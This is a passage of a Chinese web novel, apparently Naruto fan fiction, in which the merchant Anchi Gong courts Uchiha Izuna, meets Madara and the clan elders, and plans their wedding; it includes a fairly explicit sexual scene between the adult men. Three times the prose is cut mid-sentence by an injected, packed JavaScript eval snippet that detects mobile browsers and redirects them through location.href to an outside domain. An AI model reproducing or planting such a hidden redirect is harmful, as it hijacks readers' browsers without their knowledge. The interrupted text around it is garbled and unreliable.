安池宫耸了耸肩,笑道:“不愧是忍者族长,可真是有魄力。” 斑其实不知道该怎么和安池宫这种人相处。对方是个普通人又是个商人,虽然体术很强,性格开朗气质随和,但也不是什么好欺负的性子。 更正确来说,脾气远比他的长相看起来火爆得多。他可没忘记昨晚对方不管不顾直接和族人干了一架的事,更甚至还怼得泉奈哑口无言。 他还是第一次看到能言善辩的弟弟也能够在某个人面前变得那么嘴笨。 不过想到对方是泉奈喜欢的人,在喜欢之人面前总是会习惯性变得小心翼翼的吧。反正自己很喜欢弟弟,弟弟每次生气的时候,他都是那个习惯性服软的人。 但普通人和忍者之间总是不可避免有观念上的隔阂,所以在他说出与对方截然不同的处事态度时,还想着对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156254|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会反驳。 被夸了一声‘有魄力’,反倒是让斑有点意外,本来准备好的应对话语就全都派不上用场。 安池宫打理好了头发,才注意到他的着装。上衣被泉奈撕坏了,现在穿的是斑好心提供的套衫,因为身材差距不大,倒是合身。 宇智波的族服挺有特色,他扯了扯宽大的圆领,从这个角度都能清楚的看到胸膛的位置。 安池宫:……泉奈平日也穿这样领口的衣服吧? 糟糕,好想让他穿给自己看。他们差了十公分,贴近一点应该能看得很清楚。 半晌没听到回应,安池宫才偏头看向斑的方向。见对方站在门口的位置,抱着双手别开脸,一副习惯性防御的姿态,莞尔笑道:“大哥,你这站姿看起来可真是威风凛凛的帅气。” 斑:? 他皱着半边眉,不解的看向安池宫。 安池宫:“是夸奖啊,难道没人这么说过吗?” 斑抿了抿唇,道:“泉奈说过。” 安池宫点头:“不愧是泉奈,我们的审美是一致的。”他走了过去,顺手拍了拍斑的肩膀。 对方的身体有些僵硬,但安池宫就像是没察觉到一般的说:“多谢大哥等我啦,抱歉啦~谁让我这个人最大的优点就是这张脸,总是需要比别人耗费更多的时间打理才行。” 他说着,笑盈盈的歪头问着这个眉头皱得能夹死一两个精英忍者的人:“那么接下来,我们是要去——” “吃早餐/对练。” 异口同声的话语,说的却是完全不一样的方向。 安池宫不动声色的收回放在对方肩膀上的手,面色严肃的道:“我拒绝。” 可斑不是那种能被轻易拒绝的人,他的表情比对方的更严肃:“你的身手挺不错,我需要评估一下你有几分保护自己的能力。既然已经决定入赘宇智波,就应该知道作为忍者家属很容易会被盯上吧。” 安池宫哦了一声,问:“那如果我的身手不好怎么办?” “那就只能给你配个家忍保护你。”斑道。 安池宫显然没想到他会这么说,脸色有点错愕:“哎,还有保镖送的吗?” 斑:“不然呢?不过就算有保护自己的力量,你不是忍者,家忍也是要配的。免得哪天不明不白中了幻术。” 安池宫:“但我近期应该是和泉奈待在一起……”毕竟有安命蛊的BUFF。 斑不耐烦的道:“那是另一回事。总有一些跑腿的工作需要家忍去干。你不是商人吗?泉奈总不能陪你去经商,而且待在族地里安全更有保障。” “这样啊……”安池宫这回是真的意外了。他捏着下巴思量了一会,对着不发一词就像是在等他同意的斑,露出一个灿烂的笑脸,张开双手扑了过去,一把抱住,兴奋的喊道,“呜哇~这就是有大哥的感觉吗?太棒了~还是第一次有人这么关心我耶~” ——泉奈平日里到底过着什么好日子,这样的好大哥可是绝版限定品吧! 虽然看起来很凶的样子,意外的是个很细心的尽职好大哥呢! 斑:…… 对上了迎面双手插袖,慢腾腾走过来的泉奈。 泉奈:= = 斑:= = 斑空出一只手,指着这个抱着自己的人,就像是在询问‘你找的到底是什么奇奇怪怪的丈夫’。他近三十年的人生,还是第一次遇到除了弟弟们以外不怕他的人。 不,弟弟有四个,其他三个生前都挺怕他的。就泉奈和他最亲近,但也不会随随便便就抱上来啊。 泉奈挠了挠脸颊,耳根滚烫视线飘移,就是不敢对上斑的眼神。 泉奈:谢谢,我也觉得自己受到欺骗了。 不应该是那种看起来好说话,实则内心跟刺猬一样很难打动的人么?以前怎么不知道这小子有喜欢和人搂搂抱抱的习惯? 还有,就算没有这件事,短时间内也很难正视自家大哥的脸了。 13. 第 13 章 见泉奈来了,有了接手的人,宇智波斑干脆的推开安池宫:“我去做饭了。” 说完身影就瞬身不见,不知为何看着还有点落荒而逃的意味。安池宫看得眼热,指着斑消失的位置双眼发亮的对泉奈说:“大哥是害羞了!”是肯定句。 泉奈觉得心里有点对不起自家斑哥,可他也不好说什么。因为他自己都拿安池宫毫无办法。 起床了自然是要洗漱,斜眼就看到自己的毛巾是湿的。安池宫从后方抱着他,下巴抵在他的左肩,镜子里的倒影,脸上满是无辜:“大哥只找到了新牙刷,我用了你的毛巾你不介意吧?” 泉奈本来就没介意这点小事,自顾自的刷起牙。说实话,安池宫贴在他后边,这么近的距离,对方的心跳和呼吸全都感知得到,对他也是一个巨大的挑战。 他可做不到像这小子那么自然的接受他们已经在一起的事情。好歹纠结了半年,又因为误判了这小子对自己没意思,要不是安池宫的本性过于烈性,安排个小黑屋也不是不可以。 因失去至亲而觉醒了万花筒写轮眼的宇智波泉奈,骨子里的疯狂可不输给任何一个族人。 见泉奈没理他,安池宫也不无聊,见他已经换了身宽圆领的族服,利用身高差,视线就往领口里面瞄。 看到了看到了,淡粉色的。 过于炽热的视线终究让泉奈无法再不作声,吐出嘴里的泡沫之后,无奈的红着耳根推开他那张脸:“昨晚你是没看够摸够吗?” 他可是知道的,自己主动亲这小子的时候,对方把自己全身上下都摸了个遍。不然也不会发生让斑哥给他整理衣服的窘事。 安池宫:“这种哪里会够嘛。”趁着泉奈低头洗脸的时候,他一口咬住对方的后颈,也没用力,只是用牙齿研磨着。 泉奈洗了多久的脸,他就啃了多久,除了啃出个牙印,皮都没蹭破一丁点。 泉奈:“……”他觉得不能再这样下去了。 这小子在这方面坦率到浪费那张脸,如果任由对方发挥,那他这辈子都别想抓回主导权。 被勾起胜负欲的泉奈,慢条斯理的将拧干的毛巾放回原位,转身一把抓住安池宫的衣领,将人压在洗漱台的边沿,又拿起台上平日用来洗手的肥皂,精准的打在半敞开的门边上。 门应声关上。 宇智波的第二强者,这套动作做下来都花费不到半秒。安池宫还没反应过来的时候,就觉得下面一凉。 “等、等一下,我还没洗澡。”虽然昨晚他在晚餐前就洗过澡了,但都过去一晚上了,又流过汗,想起这一点后他都觉得自己身上黏糊糊的不太自在。 泉奈单膝着地,头也不抬的说:“那不是挺公平的么。” “不一样,你死掉的时候肯定净身沐浴过的吧。而且你身上还那么香,汗都是香的呢!” 泉奈无语的抬眸看他:“不要说出这种像中年大叔的话,而且我很确定我没有体味。”作为一名专业的忍者,不管是香的臭的体味都没有。 要是真有对方说的那种香气,他第一反应肯定是将之除尽,不然出任务的时候,不是大咧咧的告诉敌人他在哪里么? “有哦。”安池宫低着头认真的说道,“有点像茶的香气,我找了很久,就只有那款花之国的金茉莉的香气与你的香味很相似。反正每次一闻到我就很兴奋。” 泉奈用手指拨了拨眼前的东西,敷衍的说:“嗯,看出来了。所以你才每次见我都穿着宽松的长袍,可真是精力旺盛的未成年。” “十九岁已经成年了!” “在贵族中二十岁才算是正式成年。” “一群三岁就可以结婚的变态,他们懂的见鬼的成年!” 泉奈懒得和他拌嘴,只是装模作样的,就像是回敬这小子昨晚的‘款待’一样,故意双手合十的说一声‘我开动了’。 安池宫:?! ——不要把不服输用在这种地方啊! ——自己做的时候没觉得有什么,但对方这么做的时候,可太羞耻了! 一套下来,泪眼朦胧眼神迷离的安池宫用变得笨拙的手指给自己穿裤子,对着面色自然,连耳朵都没红的,正在漱口的泉奈说道:“太过分了,你原来是进攻型选手啊。” “什么意思?”泉奈用手背擦着微肿的嘴角,触碰到嘴角轻微的撕裂伤时,面部肌肉悄然的抽搐了一下。 “就是那种啦……”安池宫嘟哝着,“喜欢掌握主导权,在自己主场范围里攻击性很强,很主动的人。但如果在我的主场里,你就很容易被动摇。标准的高攻低防呢。” 泉奈敷衍的哦了一声。 他先行打开了门,领着安池宫往起居室的方向走去。双手插袖,无比从容,衬托得旁边和他挨蹭着肩膀走路的安池宫像是个受气的小媳妇。 但已经知道这小子多会演的泉奈,对他刻意露出来的示弱表情回敬了一双三勾玉写轮眼。 “哎,眼睛图案不一样了。”安池宫觉得很稀奇。 “本来就可以任意控制等级。”泉奈道,“写轮眼能够复刻他人的忍术,也包括行为动作,所以你这表情我会复刻下来,哪天你尾巴翘太高了,就用幻术让你重温个几千遍。” 安池宫:“……可怕。”竟然还带录制回放功能的!这真的是血继限界不是录像机吗?!他抱怨着,“你不能怪我之前没发现你的心意,在我面前时你就是这么一副性冷感的表情,我每次媚眼都抛给瞎子看,心灵已经碎过无数次了。” 泉奈:“既然碎了那么多次还能拼回来,那就等于无伤。”别想靠这招从他这里占便宜。 安池宫体会到了吃瘪的滋味,想到刚才的事情,挠了挠发烫的耳根,刚要说点什么,就听到泉奈说:“待会吃饭的时候,你可以提之前说的长期护卫委托的事。” “吃饭提公事不太好吧?” “斑哥除了处理族务之外,其他时间基本都在训练。但因为我接手了大部分族务,所以要额外找到他的时间不多。” 泉奈步伐顿了一下,缓过后说道:“昨晚族会提到了要和千手家签订和平止战条约,所以国战这边的委托会减少,族里要接其他类型的委托。人手没以前那么紧张,你要提出这类长期委托的话,也能抽出一些人手。” 安池宫眨了眨眼,揽着他的肩膀说:“你怎么会知道族会的内容?” 泉奈抬眼看他:“是影分/身。起来的时候用了这个忍术,火核那边做了汇报。刚才解开忍术之后,作为本体的我能接收分体的记忆。” 安池宫稀奇的道:“还有这么方便的忍术。那不是能同时干很多工作!可恶,如果我有查克拉就好了,这样就能九个在工作,一个和你谈恋爱了。”亏了! 泉奈无奈的道:“影分/身会平分本体的查克拉,而且只能分出一个。如果真有你说的那种用法,没多久就会死于查克拉枯竭吧。” 别脑子一动就想出这样的歪主意。况且…… 他叹息着:“九个在工作,那你事业心还挺强的。不愧是奸商。” “也没有很强吧。”安池宫道,“我业务的主体范围不在栗海城,在其他地方。如果能用这种忍术,那其他地方的生意就能同时兼顾。” 他凑过去,亲了亲泉奈的嘴角,笑吟吟的说:“嘛~但是没关系,因为泉奈在这里,赚钱是为了获得更好的生活,但有泉奈在,少赚一些也没关系。” 泉奈:主业不在这边的意思是……这小子是为了我才在栗海城待了半年? 如果只是单纯想给强大的忍族下委托,那也没必要一直待在那个城里。书信往来都足够了。 他越发感觉到自己以前有多么迟钝。不过仔细想想,这小子干的是‘只要钱够什么都可以弄到’的生意,在其他地方有产业很正常。 他以前还以为是对方人脉广……虽然确实很广,那店铺前头的茶叶生意,接待的基本是达官贵人。寻常人也买不起。 若不是安池宫,他都不知道一两茶能卖上百两银子。而那种茶叶在安池宫口中还只属于中品。而招待自己用的是连城里的贵族富商都买不起的…… “池宫,你之前招待我用的茶叶是什么品级?”他问。 安池宫:“大名府特供的哦。” 泉奈停下脚步,眉头微皱。 他发现自己好像低估了安池宫做的生意。虽然也不算特别低估,他知道这小子隐藏了很多秘密,做的生意肯定很大。但茶叶都能变成大名府特供,这就不是一般的奸商能办得到的。 “你之前提的长期委托……”泉奈觉得自己大意了。 虽说之前一直回避这个问题,是因为宇智波确实是抽不出人手,每次国战基本和千手家交手,族里就找不出一个闲人。就算是没有查克拉或者查克拉极少无法成为忍者的族人,也都有很多后勤的工作要处理。 但如果之前有心问一下的话,估计…… “你做什么?”他半眯着眼睛,对这个把他压在墙上的人的说道。 “哎呀,好凶的表情呢~”安池宫眉眼带笑,刻意放软了嗓音,嗓子就跟带了电流一样的慢吞吞的说,“未成年可是精力旺盛到,一次是不能满足的哦~” 想到刚才的体验,他道:“泉奈也觉得不够吧?我昨晚可是咽得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔着这距离都能听见声音闻到血腥气了,虽然也有作为精英忍者五感过人的原因,但这两个小子确实是仗着有安命蛊就乱来!一点都不爱惜身体! 而且亲就亲,你俩还互相蹭着摸着上瘾了是不是!要摸就去摸猫啊!那手感才是一级棒! “还有斑那小子,这样的动静都没发现。他的脑子除了弟弟和训练,还能剩下什么东西?!” 火信长老批判着还在厨房和食材抗争的斑,就错眼对上了安池宫望过来的眼神。 原先迷醉游离的眼神,在看到他们之后,就变得格外清明。 正当火信长老以为这小子会知廉耻的推开泉奈时,却只见对方抬起左手,朝他们做出像是挥舞苍蝇的驱赶动作。 火信长老:“……” 阿曼长老嫌弃的说:“你为什么会觉得一个能面不改色说出‘人尸恋人鬼恋’的人,会在这种时候贴心的顾虑旁观者的感受。而且我们还是属于不请自来。” “不请自来就等于不用在意。小池宫这方面也挺可爱的不是么?”树希长老笑着,带着他们往起居室的方向走去。 火信长老还在愤愤不平的说着:“光天化日之下还搞这种事,以后得让守卫这宅子的族人离远点,不能把他们带坏了。还有,你怎么对那小子那么在意,那张脸做什么在你眼里都是可爱吗?” 树希长老瞥了眼这个又开始吃醋的亲弟弟:“他本来就很可爱。因为喜欢泉奈,所以爱屋及乌的对宇智波家的好感也很高,估计很喜欢这种大家族的氛围吧,而且,也不知道以前遇到过多少糟心事,导致那孩子戒心很重,很难被打动。在因为泉奈接受宇智波家之后,就算是对他施以一点善意和关心,也会轻易的动容。” 说到这里,她扬唇露出一个浅笑:“难怪泉奈那么喜欢他。他从小就好胜心强,就算是那么重视斑,也一心想要把他比下去。对他来说,小池宫的本性就是时刻在勾起他的胜负欲,想不陷进去都很难。” “哦……”火信长老嘟哝着,“那哪天胜负心没了,是不是该分手了?” 昨晚安池宫那小子可是提了分手的。 阿曼长老看着他的眼神已经不是单纯的嫌弃:“你是笨蛋吗?我们宇智波家只有丧偶,没有离婚。而且宇智波在感情方面从来就没有‘放手’这个词可言。” 都吃到肚子里了,怎么可能任由对方离开。况且…… 阿曼长老心里吐槽着:就安池宫的性格,套路都不重样的,心眼就跟马蜂窝一样,还是担心泉奈会不会被勾得缴械投降吧。 算了,安池宫爱钓就钓吧,也就泉奈被勾得五迷三道,包丰收的。 14.第 14 章 虽然很不想搭理不请自来的客人,但兴致还是被打断了。安池宫红着眼眶舔尽了爱人眼角的泪滴,呼吸不稳的抱怨着:“大人们可真是从容呢,就那样眼不眨的盯着看,我们又不是演员。” 又没钱赚。 泉奈平复着呼吸和震动的心跳,还是压不下脸上绯红的艳色,低声嘟哝着:“就算你想演我也不会配合。现在知道要关起门独处时来做了吧。” “哎,是因为昨晚的事情吗?大哥又没醒,泉奈看起来也很喜——我错了。”重要之位被别人捏在手中,强烈的危机感让安池宫非常识趣的告饶。 泉奈低声切了一下,胡乱捏了两把才放开手,将那只滚烫大胆的手塞进兜里,别开脸说道:“也不知道你是怎么长的。” “自然而然呗。是你嘴巴太小了,而且也太勉强自己和乱来了。”安池宫觉得这肯定不是他的错,泉奈的脸也就勉强有他一只手掌那么大,嘴巴就更不用提了。“还故意拉着我的手指一起挤进去,不受伤才奇怪,就算是喜欢痛感也要克制一点哦,我不喜欢泉奈受伤。” 泉奈白了眼这个睁眼说瞎话,把他嘴角都咬破的人:“那也是你的错。”表情太糟糕了,搞得他自己的脑子也昏昏沉沉的,做出了理智上根本就不可能去做的事情。 “哼……”安池宫带着点点不爽。“忍者大人明明全程都在用写轮眼记录我的表情吧,先说好,有我在身边的时候不许拿那些当代餐,那会是对我的精神创伤。” 他本来在过度兴奋的时候泪点就会降低,这种体质上的问题很难克服的。好在他从泉奈的瞳孔里看过自己那时候的表情——嗯,果然哭起来也是超好看的~梨花带雨我见犹怜,不把这个忍者钓得见不着北,就白浪费他这些年往自己脸上身上花的钱! 就是有天然的美貌,也是需要保养维护的! 才交往的隔天就已经彻底往黏糊糊方向靠拢的热恋期情侣,跑去洗了把脸,等把温度降下来之后,才听到斑的喊声,前往起居室。 宅子里没有专门的餐厅,虽然做着来钱快又多的工作,但忍者们的生活基本都过得很简朴。 安池宫拉着泉奈的手,十指紧扣,往起居室走的时候还在说:“你们赚那么多钱是用来听个响的吗?不行哦,生前不努力花,死了还不知道便宜谁。” “当陪葬。我棺材里应该放了不少卷轴,里面有储物卷轴,斑哥应该会把我所有的财产都放进去,自己还会添上许多。”泉奈一点都不忌讳自己之前真的死了一回的事,聊起来也很自然。 他比较关心的是和安池宫牵着的手。明明是个剑法高超的剑士,对方的手却软滑细腻,仿佛抓着的不是一只男人的手,而是一块担心力道重一点就会勾坏的丝绸。 安池宫:“……好吧,贵族们死了也会陪葬很多金钱。”但凡有个忍者去挖坟,肯定能一夜暴富吧。 嗯……克制住此时的想法。他是个商人,不是摸金校尉。 但似乎看出他的想法,泉奈叹气:“想多了,那储物卷轴会做成只有在世亲人的查克拉才能打开的形式。也就是说,你想拿到我的财产,还得找斑哥给你拿。” 安池宫:“好的,很保险。只有斑哥能打开,你要是活不过来,斑哥也不会去拿。那些钱就等于全没了。” 果然忍者很犯规的吧!那可都是钱啊!就你们这吸金水平,这个世界的金银库迟早会被你们折腾光的! 不过…… 安池宫疑惑的道:“哎,你的钱要交给我保管吗?” “为什么不可以?”泉奈比他更疑惑,“我自己花不了多少,你花的多,自然你保管。反正都花完了我也会赚。” 安池宫:…… 他停下脚步,泉奈也跟着停下。安池宫低着头,双脚有些不自在的互相踩着,扭扭捏捏着,抬眸看泉奈的时候,眼里都带着一些说不清道不明的情绪。嘟哝着说:“泉奈是天赋型选手啊。” “嗯?”又听到了不懂的词汇。泉奈只是耐心的等他解答。 “可恶……明明心里暗爽着吧,还装得一副若无其事的样子。别想狡辩,你写轮眼都出来了。”安池宫如此咬唇抱怨着。 泉奈却故意装作不解的样子,反正面上看着是没一丁点的问题。 写轮眼冒就冒呗。安命蛊比想象中好用太多,他从昨晚到现在一直在使用,可丁点没觉得难受。 觉得安池宫现在这副样子很有趣,但泉奈其实并不觉得自己说了什么大不了的话。对方连安命蛊这么重要的东西都能给自己……财产可远没有性命重要。 这一点,能够在身上留有那样触目惊心致命伤的安池宫,应该比任何人都懂得这个道理。 安池宫吭哧吭哧了一会,闭上眼睛说道:“我也很会赚钱的,也都会给泉奈花的。所以,把你的男子气概收一收,别总是抢我要说的台词,我要晕碳了。” 泉奈思索了一下。“晕碳是指过度呼吸的意思吗?” 安池宫瞪了他一眼,但那双又染上水汽的眼,瞪人实在是没什么威慑力。他只能试图扳回一城:“新婚之夜你给我等着。” 哭唧唧的攻也是猛1! 泉奈从善如流的道:“那你要失望了,毕竟我可是进·攻·型。”还故意回敬他的,在他耳边低声说,“会如你所愿,全部吃掉的。” “你们两个……”一道幽怨的声音传来,火信长老站在门口沉声道,“叽里咕噜在开什么小会,赶紧来吃饭,吃完还有很多事情要干呢!” 泉奈还没说什么,安池宫就嘴快的道:“有什么关系,有影分/身啊,让分体去干,泉奈要和我谈恋爱。” 没等火信长老反驳,他道:“你自己也是年轻时候过来的,不能等自己蹦蹦跳跳快快乐乐的走完了就把后人的路给封了!这样太鸡贼了,是为老不尊,为长不慈!” 火信长老一个字都憋不出来,听到屋内传来的笑声,连泉奈也是别开脸一副憋笑的模样,顿时恼羞成怒的一手一个按着两人的后脑勺往屋里塞:“你这小破崽子!爱谈就去谈,一点小事还扯上慈不慈尊不尊了,你小子是专门拱火的吧,白瞎了你那张骗人的脸!” 就算被人这样按着,但也堵不住那张嘴。“这张脸骗人怎么了?是被骗的人的错吧!我爱怎么样别人管不着,有意见来干一架,干不过就憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159265|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着!” “所以我就说了——看起来明明是弱了吧唧风吹就倒的小废柴,脾气怎么能这么暴!” “就爆就爆!炸死你个臭老头!” “小破崽子!” “臭老头!” 屋内的斑和两名长老:…… 斑盘坐在矮桌前,有些吃惊的看着和火信长老吵得有来有回的安池宫,本来想着还没进门的弟婿怎么都不能被欺负了,可看这样子好像也不是需要去劝和的场合。 “关系真好啊。”树希长老抿了一口茶,淡淡的说道。 她就知道自己的弟弟肯定能和小池宫处得很好。 压根不管弟弟被气得跳脚的模样,还做出定论的树希长老,招呼着三人赶紧坐下。 没有专用的大餐桌,用的是分餐制,每个人面前都放着一个小圆桌。但这不代表不丰盛,应该说……太丰盛了。 安池宫目瞪口呆的看着摆满了圆桌还要叠放起来的小餐盘,中间还额外放了个四方桌,在能伸手够着的位置也摆了很多餐盘。 每份的量都不是很多,可光是菜就足够让一个成年人吃饱了,更别说饭桶都摆了两个,米饭多得都能溢出来。 但也有不和谐之处,这么多餐盘里,有的看起来就美味精致,有的看起来……嗯,比较原生态吧,基本就是烤的炖的。他还看到了一条炖得烂烂的鱼,汤色很清,应该就只放了盐。 但鱼炖了之后汤不是奶白色的吗?! “看起来不好看也不好吃的是斑做的。”树希长老道,“虽然写轮眼很好用,但他不会把写轮眼用在这个地方,厨艺顶多就是饿不死。” 安池宫心情微妙,乖巧的用着不习惯的跪坐姿势,双脚还不老实的互相蹭了蹭脚板:“但、但种类也挺多的,难怪大哥在厨房待了那么久。” 估计把自己会的不会的全都做了一遍吧。 他抿着下唇,抬眸看向了被戳穿之后脸挂不住,看起来像是要和树希长老吵一架的斑低声说:“谢谢大哥。” 那双眼睛亮晶晶的,就像是湖面上闪烁着的波纹,估计雨天中受冻的小动物都没这双眼睛楚楚可怜。 斑:“……”我能不能认为泉奈看上你,全是看中了你这张脸。 ——别撒娇啊!你是男的吧!女忍都没你这么会撒娇啊! 斑烦躁的按下和树希长老理论的心情,胡乱挠了挠头发,咂舌说道:“行了赶紧吃饭吧,饭都堵不住你这张嘴!” 泉奈不动声色的扯了扯还想说什么的安池宫,用眼神示意他赶紧安静。 他都担心再这样下去,大哥要羞恼过度掀桌子了。那好事也要变成坏事。 安池宫小声嘟哝哼哼着:“但大哥本来就很好啊,泉奈你不能吃醋哦,我们都要结婚了,钱是一起用的,大哥也是要一人一半的,这样才公平。” 斑:…… 手里拿着的筷子直接被折成了两瓣。 火信长老同情的看着面红耳赤的斑,心里庆幸着:幸亏进的不是我的家门,不然这以后的日子还真不知道该怎么过,大姐肯定会被他哄得晕头转向,压根忘了他这个亲弟弟的存在! 15.第 15 章 为了避免斑因为情绪过于激动毁了这顿早饭,安池宫总算是消停了。浑身鸡皮疙瘩的斑松了口气,见到对方姿态优雅小口小口的进食,又在心里吐槽起来。 ——这小子是准备将这顿饭吃到明天吗? ——是男人,当然要大口大口的吃饭啊! 也不像斑想的那么耗费时间。因为安池宫进食的速度还是挺快的,就跟他的身手一样,图的就是一个速度。 可他对着桌上精致美味的食物不管,就只吃看起来就像是斑做的食物,这又让斑浑身不自在起来。 但如果开口指出这一点,又显得他很在意似的。抹不开面,就只能闷声的对着食物撒气。 树希长老到底还是不忍心的替自家族长解围。“其他菜是我弟弟火信做的,他很擅长厨艺,你也可以试试。”说着顺势介绍了另外两名长老的名字。 昨晚情况有点混乱,还没做过正式介绍呢。 但安池宫的关注点大概和常人不一样,他打完招呼后,好奇的问火信:“你做饭,那你家谁洗碗?”忍者没有雇仆人的习惯,族长都得自己做饭洗碗,长老应该也差不多。 “当然是我啊。”火信长老理所当然的道,“怎么可能让大姐洗。” 安池宫点了点头,知道这两人是住一起的。不过……看火信长老这种姐控的程度,估计两人都没结婚。而树希长老之所以没结婚,肯定是因为有弟弟这个拖后腿的。 他吃了几口火信长老做的,确实很美味。不过也没落下斑做的食物,眨眼间就把斑做的那些吃得七七八八。 斑:……真的好在意啊! 终于,他还是受不了的道:“不喜欢吃可以不用吃,不用因为泉奈的关系刻意讨好我。”虽然看得出这小子不是虚情假意,但他更宁愿接受对方是为了泉奈才会对自己表现得亲近。 他很清楚自己从来就不是什么受欢迎的人,别说是族里的孩子看到他跟看到鬼一样畏惧,就连其他族人也都是敬畏多过亲近。也就只有和父母同辈的长老们才能和他这么和谐的相处。 但这种相处,也只是私底下将他放在小辈的位置上才会发生。在正事上面可不是这样的。 “怎么会?我才不会委屈自己做不喜欢的事。”安池宫自信满满的说,“我可是阅览无数小说的人,如果泉奈的家人不好相处故意为难我的话,做个吹枕边风的搅家精也是轻轻松松。什么恶公婆恶叔伯姑,想欺负我,没门!泉奈要是敢不站在我这边,那他以后也别想碰我一根手指头!” 本以为自己可以当个背景板的泉奈:……不要带上我啊。 就你这比爆破符还火爆的脾气,给谁十个胆子也不敢惹你。 斑心情微妙的看着这两人嘴角的伤。好歹是个成年人,不至于什么都不懂。安池宫对着死去的泉奈都能亲得那么热烈,活着的更不用说。 只要泉奈喜欢心里乐意,斑也不管这种夫夫俩的情趣。反正啃坏了也有安命蛊呢,泉奈自己都不操心,那当哥哥的要求就只有——活着就行。 安池宫倒是对这个谈兴很高,举了好几个例子,还包括怎么利用家族成员各自的性格和彼此的矛盾拉阵营搞小团体,让他们内部分化各种内耗最后一拍两散,他自己就一柔弱可怜又无助的清纯白莲花,包无辜的。 几人:“……”那你还挺可怕的。 ——就你这本事,什么家你散不了啊! 安池宫又吃了口炖烂的鱼,扬着唇角愉悦的说道:“吃大哥做的菜吃的是这份心意,而且也不算多难吃啊,我吃过难吃的东西多了去了。也就这一年才过上了点算是人过的好日子。” “啊……这样啊。”斑听着,已经不是不自在的原因了,甚至都带上了一些不明显的情愫。 不过……无父无母连名字都自己取的人,长得又这么招摇,才十九岁就能让自己成为城里的大商人,要说他没吃过什么苦头才不现实吧。在这个战国时代,又是孤儿又是平民的,想出头可不是一个难字能阐述的。 应该说,能达到这等成就,本身就算得上是传奇人物了。 安池宫见气氛有点奇怪,纳闷的说:“你们干嘛这副表情,不会是在同情我吧。别这样,好歹也是在战场中拼生死讨生活的忍者,什么罪没受过,如果要比吃苦的话,那就变成诉苦大会,难分高低了。” “不是同情。”泉奈看着他认真的说道,“人心都是偏的,自己能吃的苦,不会希望家人也吃到。” 安池宫眨了眨眼,心有点痒痒。毕竟泉奈现在的表情和说的话都太帅气了。 可能是注意到这小子在想什么,充分体会到找了个年下又精力旺盛的爱人是一种什么体悟的泉奈,干脆的别开头继续做个干饭工具。 安池宫:?! ——先撩的是你,先溜的人也是你,人干事? 既然安池宫不在意自己的过去,其他人自然识趣的转移话题。 阿曼长老道:“昨天听火核说你们准备明天办婚礼。” 昨晚火核来的时候泉奈就告诉过他这件事。泉奈知道现在族人应该都挺关心他的感情问题,而且一场婚礼确实能有效的让族人从紧绷的现实环境中得到喘息的机会。 她道:“你对婚礼有什么要求?什么都可以提,他们爸妈留下了不少遗产,斑这小子看也知道这辈子和结婚没缘,你想要办成什么样的,都可以。” 没有明说,但财大气粗的劲儿已经出来了。 安池宫不怀疑这一点,毕竟泉奈祖上十几代都是族长。现在族长家就两兄弟,一个被判定孤寡孤寡寡寡寡,另一个又找了个男人,估计下一代族长就出在别家。 人家的家族对此没意见,那他本人……笑话,压根就不care的! “婚礼啊……”安池宫想了想,朝着他们笑道,“那就给全族的人放三天假吧,怎么样?” “三天假……?”斑皱眉,“什么意思?” 已经知道自家大伯哥是个习惯性皱眉的人,所以安池宫不觉得他是在生气。“就是放假啊,如果是有人需要巡逻守卫之类的,就让他们轮流放假好了。对了,给每个人发钱,发多少都是心意,但额数要一致,不能区别对待。要不就弄个好兆头吧,我的幸运字数是7,就发跟这个数字有关的,让大家都沾沾喜气放松一下!” 几个宇智波互相对视,最后是斑问:“你不想办婚礼吗?” 他以为这么张扬的人,应该是想办一场很闹腾的婚礼,甚至跑到城里去大办一场的可能性都想过。 如果真要这么做,倒也不是不行。和千手还属于休战期,就是人家要捣乱,宇智波也不惧。 就是有点辛苦族人奔波。可问题也不大,毕竟族人对安池宫的好感度都挺高的。不仅是因为泉奈的关系,也是因为自从他出现后,发生了太多好事。 泉奈复活,族里多了三个万花筒持有者还有两个新开眼的小宇智波。就算是对神鬼之事不屑一顾的宇智波们,都觉得安池宫是个能带来好运的人。 而且……宇智波人均颜控。 放养望去就找不到一个不好看的,所以审美大幅度提高很正常。而安池宫好看得画风过度突出,就跟黑猫堆里突然出现了一只毛皮光滑油亮叫起来还格外娇的白猫一样,想不多看几眼都很难。 安池宫:“放假和发钱就是婚礼啊。再说了,如果按照常规的方式办婚礼,咱们族地里又不欢迎外人,到时候布置会场准备和收拾宴会之类的,辛苦的还不是族人们。还不如干脆点发钱和放假。” 办什么婚礼!他一心只想和泉奈一个被窝里睡觉! 两米的大床!能滚好久好久了! “如果你是担心麻烦到族人的话……”火信长老对他一口一个‘咱们族地’‘族人’很满意,道,“比起任务来说这种事算是很轻松了,也不会有人抱怨。” 